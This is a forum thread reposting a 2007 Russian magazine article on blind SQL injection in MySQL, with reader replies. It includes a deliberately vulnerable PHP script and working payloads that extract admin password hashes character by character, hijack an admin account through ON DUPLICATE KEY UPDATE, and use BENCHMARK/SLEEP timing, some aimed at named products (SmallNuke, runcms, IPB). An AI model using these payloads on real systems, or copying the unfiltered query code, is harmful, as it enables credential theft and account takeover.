Авторские статьи Эффективные Слепые Иньекции

Discussion in 'Статьи' started by Евгений Минаев, 19 Dec 2007.

  1. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159

    ----[ MYSQL CHAR BRUTEFORCING ... under0x77ater ]

    "Когда я это писал меня постояно будили - мать твою , я же творю ..."


    Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом
    получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов,
    будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет
    устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно
    проделать перебор и получить требуемую информацию.

    Публикация из журнала "Хакер" за декабрь 2007 год
     
    9 people like this.
  2. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    ----[ NITRO ... ]

    Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом
    получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов,
    будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет
    устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно
    проделать перебор и получить требуемую информацию.

    ----[ FUNCTIONS ... ]


    ASCII(STRING) - Возвращает числовое значение первого символа строки STRING или ноль в случае,если строка является пустой.
    Работает в диапазоне от 0 до 2555.

    PHP:
    mysql SELECT ASCII(1)     -> 49
    PHP:
    mysql SELECT ASCII('1')     -> 49
    PHP:
    mysql SELECT ASCII('a')     -> 97
    PHP:
    mysql SELECT ASCII('aa')     -> 97
    ORD(STRING) - Возвращает код первого символа строки STRING , вычисленного из числовых значений байтов,из которых он состоит.
    Если же левый символ не многобайтный,работает как и функция ASCII.

    (код 1 байта * 256) + (код 2 байта * 256^2) + (код 3 байта * 256^3)

    PHP:
    mysql SELECT ORD(1)         -> 49
    PHP:
    mysql SELECT ORD('1')     -> 49
    PHP:
    mysql SELECT ORD('a')     -> 97
    PHP:
    mysql SELECT ORD('aa')     -> 97
    BETWEEN MIN AND MAX - Если выражение больше или равно MIN и меньше или равно MAX , то BETWEEN() возвратит 1 , иначе 0.
    Если все элементы имеет один тип (например,числовой),то запрос сводится к выражению MIN <= QUERY AND QUERY <= MAX.До MySQL
    4.0.5 в случае неоднотипных данных шло приведение к типу запроса.

    PHP:
    mysql SELECT 5 BETWEEN  1  AND  6  -> 1
    PHP:
    mysql SELECT 5 BETWEEN '1' AND '6' -> 1
    PHP:
    mysql SELECT 5 BETWEEN  1  AND  4  -> 0
    PHP:
    mysql SELECT 5 BETWEEN '1' AND '4' -> 0
    IN(VALUE1,VALUE2) - Вощвращает 1 , если запрос равен одному из значений в IN(),в противном случае mysql вернет 0.Если все
    значения - константы,они обрабатываются в соответствии с типом запроса и сортируются с использованием бинарного дерева.То есть
    запрос выполнится быстро если все переменные однотипны.Значения регистрозависимы.

    PHP:
    mysql SELECT 1 IN (2,3,4,5,1)   -> 1
    PHP:
    mysql SELECT 1 IN (2,3,4,5,'1') -> 1
    PHP:
    mysql SELECT 1 IN (2,3,4,5,0)   -> 0
    PHP:
    mysql SELECT 1 IN (2,3,4,5,'0') -> 0
    LOWER(STRING) - Возвращает строку STRING в которой все символы приведены к нижнему регистру в соответсвии с текущим набором
    символов (по умолчанию ISO-8859-1 LATIN1)

    PHP:
    mysql SELECT LOWER('ITDEFENCE') -> itdefence
    PHP:
    mysql SELECT LOWER('ITDEFeNCE') -> itdefence
    PHP:
    mysql SELECT LOWER('itdefence') -> itdefence
    PHP:
    mysql SELECT LOWER(123)         -> 123
    SUBSTRING(STRING,POSITION,LENGTH) - Функцию копирует подстроку из строки STRING с позиции POSITION длины LENGTH

    PHP:
    mysql SELECT SUBSTRING('itdefence',4)      -> efence
    PHP:
    mysql SELECT SUBSTRING('itdefence' FROM 4) -> efence
    PHP:
    mysql SELECT SUBSTRING('itdefence',4,2)    -> ef
    PHP:
    mysql SELECT SUBSTRING('itdefence',1,2)      -> it
    SUBSTRING_INDEX(STRING,DELIMITER,LENGTH) - Возвращает подстроку строки STRING до позиции LENGTH после разделителя DELIMITER.
    Если значение LENGTH положительное,возвращается все,что лежит слева от DELIMITER.Если значение LENGTH отрицательное,возвращается все,
    что лежит справа от разделителя DELIMITER.

    PHP:
    mysql SELECT SUBSTRING_INDEX('itdefence.ru''.' ,2) -> itdefence.ru
    PHP:
    mysql SELECT SUBSTRING_INDEX('itdefence.ru','.',-1)  -> ru
    PHP:
    mysql SELECT SUBSTRING_INDEX('itdefence.ru','.',1)   -> itdefence
     
    #2 Евгений Минаев, 19 Dec 2007
    Last edited: 19 Dec 2007
    4 people like this.
  3. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    ----[ EXAMPLE ... ]

    Для примера создадим таблицу USERS с полями id username password

    PHP:
    mysql CREATE TABLE `users` (
        `
    idint(11NOT NULL default '0',
        `
    usernamevarchar(15NOT NULL default '',
        `
    passwordvarchar(32NOT NULL default ''
        
    ENGINE=MyISAM DEFAULT CHARSET=cp1251;
    И внесем для теста оду запись 1,itdefence,itdefence

    PHP:
    mysql INSERT INTO `users` ( `id` , `username` , `password` ) VALUES '1''itdefence''itdefence' );
    И напишем скрипт со специально сделанной уязвимостью

    PHP:
    <?php
        
        $sqlhost     
    'localhost';
        
    $sqlpass     '';
        
    $sqluser     'root';
        
    $sqlname    'itdefence';
        
        
    $mysql_link mysql_connect($sqlhost,$sqluser,$sqlpass);
        if (!
    $mysql_link) die (mysql_error());
        
        
    $result mysql_select_db($sqlname);
        if (!
    $result) die (mysql_error());
        
        
    $query 'SELECT * FROM `users` WHERE `id`=\''.$_GET['id'].'\'';
        
    $result mysql_query($query);
        if (!
    $result) die (mysql_error());
        
        echo 
    mysql_num_rows($result);
        
    mysql_close($mysql_link);
        
        
    ?>
    ----[ SUBQUERIES ... ]

    Для примера я буду рассматривать MySQL > 4.1 так как с этой версии поддерживаются все формы подзапросов,которых требует стандарт
    SQL.Подзапрос можно вкладывать в другой подзапрос и его надо обрамлять скобами

    PHP:
    mysql SELECT FROM `usersWHERE `id`  = (SELECT MAX(IDFROM `users`)
    PHP:
    mysql SELECT FROM `usersWHERE `id`  =  ANY SELECT MAX(idFROM `users`)
    PHP:
    mysql SELECT FROM `usersWHERE (1,1) = ( SELECT `id`,`usernameFROM `users` )
    В процессе могут встречаться следующие ошибки , как :

    неподдерживаемый синтаксис ошибок
    PHP:
    mysql SELECT FROM `usersWHERE `idIN SELECT `idFROM `usersORDER BY `idLIMIT 1)
        -> 
    #1235 - This version of MySQL doesn't yet support 'LIMIT & IN/ALL/ANY/SOME subquery'
    число столбцов в подзапросе неверное
    PHP:
    mysql SELECT SELECT  `id`,`usernameFROM `users`) FROM `users`
        -> 
    #1241 - Operand should contain 1 column(s)
    неверное количество строк в поздапросе
    PHP:
    mysql SELECT `idFROM `usersWHERE `id` = ( SELECT id FROM `users` )
        -> 
    #1242 - Subquery returns more than 1 row 
    Ошибка в подзапросе приводит к нарушению всего запроса.Для более ранних версий можно запросы с подзапросами заменить более
    легкими конструкциями

    PHP:
    mysql SELECT DISTINCT users.* FROM `usersWHERE users.id 1
    PHP:
    mysql SELECT users.* FROM users LEFT JOIN banned ON users.id banned.id WHERE banned.id IS NOT NULL
     
    2 people like this.
  4. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    ----[ LETS DO IT ... ]

    Когда мы уже знакомы с синтаксисом подзапросов и описанием нужных функций перейдем к делу.Вернемся к нашему скрипту и
    внимательно взглянув на запрос,видим что отсутствует фильтрация входящего параметра id.Для проверки подставим одинарную
    ковычку,чтобы нарушить структуру запроса и привести его к неправильному виду.

    PHP:
    mysql SELECT FROM `usersWHERE `id`='''
        -> '
    You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
    Мы можем самостоятельно завершить запрос , подставив ковычку и знак комментария.Изначально в mysql поддерживалось только три
    типа комментариев , многострочные /* */ , однострочный # и для совместимости с языком SQL однострочный -- , после которого
    обязательно должен идти пробел либо символ перевода строки.Я буду использовать -- , выбор особого значения это не имеет ,
    скорее это дело привычки.

    PHP:
    mysql SELECT FROM `usersWHERE `id`='0'-- -> 0
    PHP:
    mysql SELECT FROM `usersWHERE `id`='1'-- -> 1
    Так как вывода данных кроме как результата обработки мы не имеем , будем делать перебор каждого символа строки с
    его ascii кодом.

    PHP:
    mysql SELECT FROM `usersWHERE `id`='0' or ascii(1)=49--  -> 2
    PHP:
    mysql SELECT FROM `usersWHERE `id`='0' or ascii(1)=40--  -> 0
    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(1)=49-- -> 1
    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(1)=48-- -> 
    AND надо использовать в том случае,если первое условие запроса вернет какой либо результат,иначе запрос прервется
    еще не дойдя до второго нужного нам условия,а OR если первое условие нашего запроса не возвращает результата.
    Каким способом мы будем сравнивать тоже имеет значение,запрос с однотипными данными займет куда меньше времени
    нежели сервер будет сам приводить оба к единому типу.

    PHP:
    mysql SELECT 1 1     -> 0
    PHP:
    mysql SELECT 7 '6x'    -> 1
    PHP:
    mysql SELECT 7 'x6' -> 1
    PHP:
    mysql SELECT 0 'x6' -> 1
    Возможные типы сравнения в mysql : равенство = , безопасное с точки зрения сравнения с NULL равенство <=> , неравенство <> !=
    , меньше и больше < > , меньше или равно и больше или равно <= => соответствено и сравнению с NULL IS NULL , IS NOT NULL.
    Для перебора нам надо будет копировать каждый символ строки с помощью функции SUBSTRING , сравнивая его сначала с нулем ,
    а затем с набором ascii кодов для нужного типа данных.Узнать такой код можно например с помощью php функции ORD().
    Перейдем к практике и вернемся к нашему примеру.В таблице `users` поле password содержит данные в md5 шифровании,что часто
    встречается в различных cms и форумах.Это несколько облегчит нашу задача,так как используя функцию lower() и известный набор
    символов мы быстро получим результат.Как известно,md5 хеш может состоять только из цифр от единицы до девяти и буквы a,b,c,d,e,f.
    Используя навыки обращения с ascii() и substring() составим запрос с подзапросом-выборкой пароля.

    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))>0-- -> 1
    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))<0-- -> 0
    При больших обьемах перебора будет рационально другой метод сравнения путем использования IN или NOT IN.

    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(1,2,4,5)--  -> 0
    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(51,52,53)-- -> 1
    У этого метода по скорости выигрывает BETWEEN , так как выполняется в меньше кол-во тактов.

    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 1 and 5--    -> 0
    PHP:
    mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 51 and 55--     -> 1
    То есть вся наша работа сводится к заданию промежутка оптимального количества кодов и если результат положителен,сравнивание
    с каждым кодом из диапазона.

    Как я уже сказал,вся универсальность метода заключается в том,что он будет работать независимо от оператора,будь то SELECT,
    INSERT,UPDATE,DO,DELETE или SET.На всякий случай покажу пример с INSERT.Модифицируем наш запрос до вида,специально оставив
    переменную id нефильтруемой.
    PHP:
    $query 'INSERT INTO `users` (id,username,password) VALUES (\''.$_GET['id'].'\',\'example\',\''.md5('example').'\');';
    В таком случае наш запрос принимает вид , в случае которого при неудачном условии нам вернется сообщение с ошибкой
    Subquery returns more than 1 row,так как выполнится условие 1=select 1 union select 2 что является недопустимым синтаксисом
    для mysql.

    PHP:
    mysql >  INSERT INTO `users` (id,username,passwordVALUES ('1','example',1=if(ascii(1)=48,1,(select 1 union select 2)))/* -> 0
    PHP:
    mysql >  INSERT INTO `users` (id,username,passwordVALUES ('1','example',1=if(ascii(1)=49,1,(select 1 union select 2)))/* -> 1
     
  5. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    ----[ ON DUPLICATE ... ]

    Начиная с mysql 4.1 , если при вставки данных с уже существующим первично указанным ключом то можно воспользоваться конструкцией
    ON DUPLICATE KEY , которая при выполнении условия выполнит запрос на уже существующую колонку , аналогичный UPDATE`у.
    Допустим , мы имеем иньекцию в регистрации пользователя в поле username

    PHP:
    mysql SHOW CREATE TABLE `users`
        ->
    CREATE TABLE `users` (
        `
    namevarchar(60NOT NULL default '',
        `
    passwordvarchar(32NOT NULL default '',
        `
    emailvarchar(60NOT NULL default '',
        `
    joindateint(10unsigned NOT NULL default '0',
        
    PRIMARY KEY (`name`)
        ) 
    ENGINE=MyISAM DEFAULT CHARSET=utf8;
    PHP:
    mysql INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' '[email protected]'12.12.2007')
        -> 
    Добавлены ряды(Запрос занял 0.0004 сек)
    Теперь внедняем иньекцию в поле name , изменим пароль администратора underwater

    PHP:
    mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','antichat' '[email protected]'spielberg')-- 
        
    ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
        -> #1062 - Duplicate entry '
    underwhater' for key 1
    PHP:
    mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' '[email protected]'12.12.2007'
        
    ON DUPLICATE KEY UPDATE `name`='evgeniy',`password`='mafia'-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
        -> Добавлены ряды: 2 (Запрос занял 0.0005 сек)
    В итоге имеем администратора evgeniy а не underwater с собственным паролем.Также мы можем апдейтить другие таблицы , допустим

    PHP:
    mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' '[email protected]'12.12.2007'
        
    ON DUPLICATE KEY UPDATE table2.admin_pass 'underWHAT?!'
    ----[ BENCHMARK ... ]

    Использовать benchmark для анализа запросов нужно только в тех случаях , когда вариант с подзапросами не дает результатов.Впервые этот
    метод описал 1dt.w0lf , а затем широко раскрыл Elekt в своем мануале по benchmark-иньекциям.Используя if конструкцию мы можем заставить
    mysql производить какие то действия в случае правильного запроса и замеряя время ответа от сервера судить правильность запроса. Время ,
    которое при этом затрачивает mysql есть время потраченное на клиента , а не потраченное центральным процессором , поэтому рекоммендуется
    выполнять BENCHMARK() несколько раз чтобы убедиться в правильности заданного условия в зависимости от нагрузки процессора.

    Benchmark сильно загружает процессор и поэтому выполнять его стоит только при правильном запросе , так как кол-во правильных куда меньше
    чем неудачных попыток перебора , да и время работы оставляет желать лучшего - на работу эксплоита может уйти больше часа.Также следует
    настроить параметр , отвечающий за кол-во выполняемых действия , так как для каждого сервера он скорей всего будет разным.

    PHP:
    mysql SELECT `passFROM `usersWHERE `login` = '' or = if (ascii(1)=49,1,benchmark(999999,md5('test')))-- 
        -> 
    Запрос занял 0.0004 сек
    PHP:
    mysql SELECT `passFROM `usersWHERE `login` = '' or = if (ascii(1)=48,1,benchmark(999999,md5('test')))-- 
        -> 
    Запрос занял 3.6821 сек
    ----[ SHKODING ... ]

    С методом мы определились , перейдем к програмной реализации и сразу рассмотрим для примера продукт SmallNuke
    ( www.smallnuke.com ).На момент написания статьи последней версией была 2.0.4.В файле modules/members/lost_pass.php
    можно легко обнаружить BLIND SQL INJECTION, при высылке забытого пароля.

    PHP:
    $username trim (strip_tags ($_POST['username']));
        
    $user_email trim (strip_tags ($_POST['user_email']));

        if ((
    $username != "") AND ($user_email == "")) {
        
    $where_dat "username = '$username'";
        } elseif ((
    $username == "") AND ($user_email != "")) {
        
    $where_dat "user_email = '$user_email'";
        } elseif ((
    $username != "") AND ($user_email != "")) {
        
    $where_dat "username = '$username' AND user_email = '$user_email'";
        } elseif ((
    $username == "") AND ($user_email == "")) {
        
    header ("Location: index.php?go=Members&in=lost_pass");
        exit;
        }

        
    $sql "SELECT * FROM ".SN_MEMBERS_TABLE." WHERE $where_dat";
    Нас вполне устроит подстановка иньекции в поле user_email,поэксперементируем с запросами.Подставляем значение ' and ascii(1)=48/*
    для поля для указания e-mailа пользователя и видим редирект на страницу с указанием ошибки.Запрос принимает
    такой вид.

    PHP:
    mysql SELECT FROM `usersWHERE user_email '' and ascii(1)=48/*
    Изменим значение ascii(1) на 49 и при подстановке измененного запроса увидим сообщение об успешной отправки нового пароля на емейл
    пользователя.Нас такой вариант с перестановкой пароля не устраивает поэтому мы вытащим посимвольным перебором хеш админа.

    PHP:
    mysql -> 123' or ascii(substring((select password from sn_admins where admin_id=1),1,1))=49/*
    Таже ситуация и с запросом DELETE , на примере runcms это выглядит так . При получении айпи адреса проверяется лишь заголовок
    X-FORWARDED-FOR , однако CLIENT-IP хоть и не проверяется но учитывается.

    PHP:
    runcms/class/core.php   130:    if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
    PHP:
    runcms/class/core.php   135:    elseif (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
    m
    PHP:
    odules\newbb_plus\class\class.whosonline.php (32):    
        
    $sql "DELETE FROM ".$bbTable['whosonline']." where timestamp<".(time()-300 OR     user_ip='"._REMOTE_ADDR."'";
    После некоторых манипуляций запрос принимает окончательный вид . Главное условие - существование в таблицы хоть одной сессии ,
    иначе наш подзапрос не выполнится.

    PHP:
    mysql -> 123' or 1=if(ascii(substring((select pass from users where uid=1),1,1))=49,0,(select 1 union select 5))/*");
    Использование lower сократит время перебора , но его стоит использовать только в случае если регистр данных в таблице не имеет значения ,
    обычно так и оно и есть - пароли в большинстве случаев хранятся в md5 и при переборе хеша регистр символом не учитывается.


    http://underwater.itdefence.ru/blog/mysql_char.txt
     
    #5 Евгений Минаев, 20 Dec 2007
    Last edited: 20 Dec 2007
    3 people like this.
  6. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Тема More 1 Row не раскрыта.
     
    1 person likes this.
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    написанное баян, но в тоже время будет слишком сложно для средне статистичесского читателя журнала хакер. им нужны статьи как ковычку поставить чтобы инторнет похэнкоть
     
    2 people like this.
  8. Chib@

    Chib@ Elder - Старейшина

    Joined:
    30 Nov 2007
    Messages:
    41
    Likes Received:
    21
    Reputations:
    5
    Полностью согласен!
    Статейка "не для всех...." больше половину юзеров просто ничего не поймут....я и сам с трудом чуть разобрался))
     
    2 people like this.
  9. spider-intruder

    spider-intruder Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    700
    Likes Received:
    339
    Reputations:
    37
    БОЯН - но оформлено то как красиво :) +1 за старания (если конечно еще кого то эти плюсы интересуют)
     
  10. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Применение конструкции вида INSERT ... ON DUPLICATE KEY UPDATE ... очень ограниченное и на практике использование подобного запроса крайне затруднительно. Например если мы имеем инъекцию после VALUES в таблице, где колонка PRIMARY KEY является auto_increment, то UPDATE после ON DUPLICATE KEY разумеется в естественных условиях никогда не выполнится. То есть нужно иметь инъекцию до VALUES - в названии колонок для инсерта
     
  11. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    SLEEP как альтернатива BENCHMARK. В отличие от бенчмарка, sleep не требует вычислительных действий и нахождения погрешности во времени ответа от сервера, то есть выигрыш на лицо. Функция выполняется

    mysql > DO SLEEP(1);
    -> SQL-запрос был успешно выполнен (запрос занял 1.0068 сек.)

    На примере IPB

    mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '2' or sleep(1)-- '
    -> MySQL вернула пустой результат (т.е. ноль строк). (запрос занял 1.0066 сек.)

    mysql > mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '1' or sleep(1)-- '
    -> Отображает строки 0 - 0 (1 всего, запрос занял 0.0005 сек.)​
     
    1 person likes this.